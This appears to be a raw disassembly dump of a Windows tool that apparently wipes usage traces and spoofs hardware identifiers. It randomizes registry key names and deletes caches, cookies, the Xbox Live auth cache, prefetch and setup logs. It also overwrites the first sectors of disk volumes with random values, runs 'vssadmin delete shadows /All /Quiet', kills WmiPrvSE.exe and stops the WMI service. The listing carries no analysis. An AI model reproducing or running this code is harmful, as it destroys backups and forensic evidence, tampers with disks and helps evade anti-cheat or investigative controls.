jne 0x1400048c0
mov ebx, r13d
lea rcx, [rbp + 0x660]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x1400048e1
test rax, rax
je 0x14000495f
mov rcx, r13
lea rdi, [rbp + 0x660]
lea rdi, [rdi + rcx*2]
movzx ecx, word [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_iswxdigit]
test eax, eax
je 0x140004937
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
mov rcx, 0xffffffffffffffff
lea r8, str.abcdef012345789
inc rcx
cmp word [r8 + rcx*2], r13w
jne 0x140004920
xor edx, edx
div rcx
movzx eax, word [r8 + rdx*2]
mov word [rdi], ax
inc ebx
lea rdx, [rbp + 0x660]
mov ecx, ebx
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rdx + rax*2], r13w
jne 0x140004950
cmp rcx, rax
jb 0x1400048f2
lea r8, [rsp + 0x58]
mov qword [rsp + 0x58], r13
lea rdx, [rbp + 0x660]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp eax, 0x3fd
jne 0x1400049ba
mov qword [rsp + 0x40], r13
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x660]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, r14
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400049ea
mov r8, qword [rsp + 0x58]
mov rdx, r15
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCopyTreeW]
test eax, eax
jne 0x1400049df
mov rdx, r15
mov rcx, r14
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add r15, 0x208
sub rsi, 0x208
sub r12, 1
jne 0x1400048a0
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r14d, r14d
xor edx, edx
lea rcx, [rbp + 0x450]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0xc90]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0xea0]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0xa80]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xc90]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r9d, 1
lea rax, [rbp + 0xea0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov r9d, 1
lea rax, [rbp + 0xa80]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1b]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0xc90]
lea rdx, str._ws
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x10b0]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
nop dword [rax + rax]
movzx edx, word [rbp + 0x10dc]
movzx ecx, word [rbp + 0x10de]
cmp dx, 0x2e
jne 0x140004b2d
test cx, cx
je 0x140004b5b
cmp dx, dx
jne 0x140004b2d
cmp cx, dx
jne 0x140004b2d
cmp word [rbp + 0x10e0], 0
je 0x140004b5b
lea r9, [rbp + 0x10dc]
lea r8, [rbp + 0xc90]
lea rdx, str._ws_ws
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea rdx, [rbp + 0x10b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140004b00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [rbp + 0xa80]
lea rdx, str._wsD3DSCache
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea r8, [rbp + 0xa80]
lea rdx, str._wsNVIDIA_CorporationGfeSDK
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea r8, [rbp + 0xa80]
lea rdx, str._wsMicrosoftFeeds
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea r8, [rbp + 0xa80]
lea rdx, str._wsMicrosoftFeeds_Cache
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea r8, [rbp + 0xa80]
lea rdx, str._wsMicrosoftWindowsINetCache
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea r8, [rbp + 0xa80]
lea rdx, str._wsMicrosoftWindowsINetCookies
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea r8, [rbp + 0xa80]
lea rdx, str._wsMicrosoftWindowsWebCache
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea r8, [rbp + 0xa80]
lea rdx, str._wsMicrosoftXboxLiveAuthStateCache.dat
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r15d, eax
mov esi, 0x43
test eax, eax
je 0x1400052e4
lea r13, [0x14000d040]
nop dword [rax]
test r15b, 1
je 0x1400052d5
mov r8d, esi
lea rdx, str.._c:
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], pe_nt_image_headers64
lea rcx, [rbp + 0x450]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140004e31
xor edx, edx
lea rcx, [rbp + 0x660]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xor r12d, r12d
lea r9, [rsp + 0x58]
mov r8d, 0x200
mov dword [rsp + 0x58], r12d
lea rdx, [rbp + 0x660]
mov qword [rsp + 0x20], r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140004e26
cmp dword [rsp + 0x58], 0x200
jne 0x140004e26
mov ebx, r12d
mov rdi, r13
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rdi]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004da0
mov eax, dword [rdi + 8]
lea rcx, [rbp + 0x660]
add rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004dd5
inc ebx
add rdi, 0x10
cmp ebx, 3
jb 0x140004d90
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004e34
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebx, eax
shl ebx, 0x10
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, dword [rdi + 0xc]
xor r9d, r9d
add eax, ebx
xor r8d, r8d
xor edx, edx
mov dword [rbp + rcx + 0x660], eax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x140004e26
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r8d, 0x200
lea rdx, [rbp + 0x660]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004e34
xor r12d, r12d
mov r8d, esi
lea rdx, str._c:WindowsSystem32_restoreMachineGuid.txt
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:UsersPublicLibrariescollection.dat
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:System_Volume_InformationIndexerVolumeGuid
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:System_Volume_InformationWPSettings.dat
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:System_Volume_Information_tracking.log
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:ProgramDataMicrosoftWindowsWER
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:UsersPublicShared_Files
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:WindowsINF_setupapi.dev.log
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:WindowsINF_setupapi.setup.log
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:UsersPublicLibraries
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:MSOCache
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:ProgramData_ntuser.pol
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:UsersDefaultNTUSER.DAT
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:Recovery_ntuser.sys
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:desktop.ini
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
mov r8d, esi
lea rdx, str._c:WindowsPrefetch
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
nop dword [rax]
movzx edx, word [rbp - 0x24]
movzx ecx, word [rbp - 0x22]
cmp dx, 0x2e
jne 0x1400050a4
test cx, cx
je 0x1400050cb
cmp dx, dx
jne 0x1400050a4
cmp cx, dx
jne 0x1400050a4
cmp word [rbp - 0x20], 0
je 0x1400050cb
lea r9, [rbp - 0x24]
mov r8d, esi
lea rdx, str._c:WindowsPrefetch_ws
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140005080
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r8d, esi
lea rdx, [0x14000a170]
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x200]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
nop word [rax + rax]
movzx edx, word [rbp + 0x22c]
movzx ecx, word [rbp + 0x22e]
cmp dx, 0x2e
jne 0x140005165
test cx, cx
je 0x14000528f
cmp dx, dx
jne 0x140005165
cmp cx, dx
jne 0x140005165
cmp word [rbp + 0x230], 0
je 0x14000528f
test byte [rbp + 0x200], 0x10
je 0x14000528f
xor edx, edx
lea rcx, [rbp + 0x870]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov rcx, r12
nop dword [rax]
movzx eax, word [rbp + rcx + 0x22c]
mov word [rbp + rcx + 0x870], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140005190
lea r9, [rbp + 0x870]
mov r8d, esi
lea rdx, str._c:Users_ws
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x10b0]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
movzx edx, word [rbp + 0x10dc]
movzx ecx, word [rbp + 0x10de]
cmp dx, 0x2e
jne 0x14000521f
test cx, cx
je 0x14000526e
cmp dx, dx
jne 0x14000521f
cmp cx, dx
jne 0x14000521f
cmp word [rbp + 0x10e0], 0
je 0x14000526e
lea rdx, str.ntuser
lea rcx, [rbp + 0x10dc]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x14000526e
lea rax, [rbp + 0x10dc]
mov r8d, esi
lea r9, [rbp + 0x870]
mov qword [rsp + 0x20], rax
lea rdx, str._c:Users_ws_ws
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.140001500
lea rdx, [rbp + 0x10b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400051f2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rbp + 0x200]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140005130
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r8d, esi
lea rdx, str._c:Users
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x450]
call fcn.1400017a0
inc esi
shr r15d, 1
mov r14d, 0
jne 0x140004cd0
lea rcx, str.cmd.exe__C_vssadmin_delete_shadows__All__Quiet
call fcn.140001900
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, qword [rsp + 0x217c0]
mov rbx, rax
mov r13, qword [rsp + 0x217c8]
mov r12, qword [rsp + 0x217d0]
mov rsi, qword [rsp + 0x217f8]
test rax, rax
je 0x1400053c8
xor edx, edx
lea rcx, [rbp + 0x10b4]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x10b0]
mov dword [rbp + 0x10b0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400053bf
nop dword [rax]
lea rdx, str.WmiPrvSE.exe
lea rcx, [rbp + 0x10dc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000538e
lea rdx, [rbp + 0x10b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005360
jmp 0x1400053bf
mov r8d, dword [rbp + 0x10b8]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400053bf
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.cmd.exe__C_net_stop_winmgmt__Y
call fcn.140001900
mov rdi, qword [rsp + 0x21800]
mov rbx, qword [rsp + 0x217f0]
mov rcx, qword [rbp + 0x216b0]
xor rcx, rsp
call fcn.1400066b0
add rsp, 0x217d8
pop r14
pop rbp
ret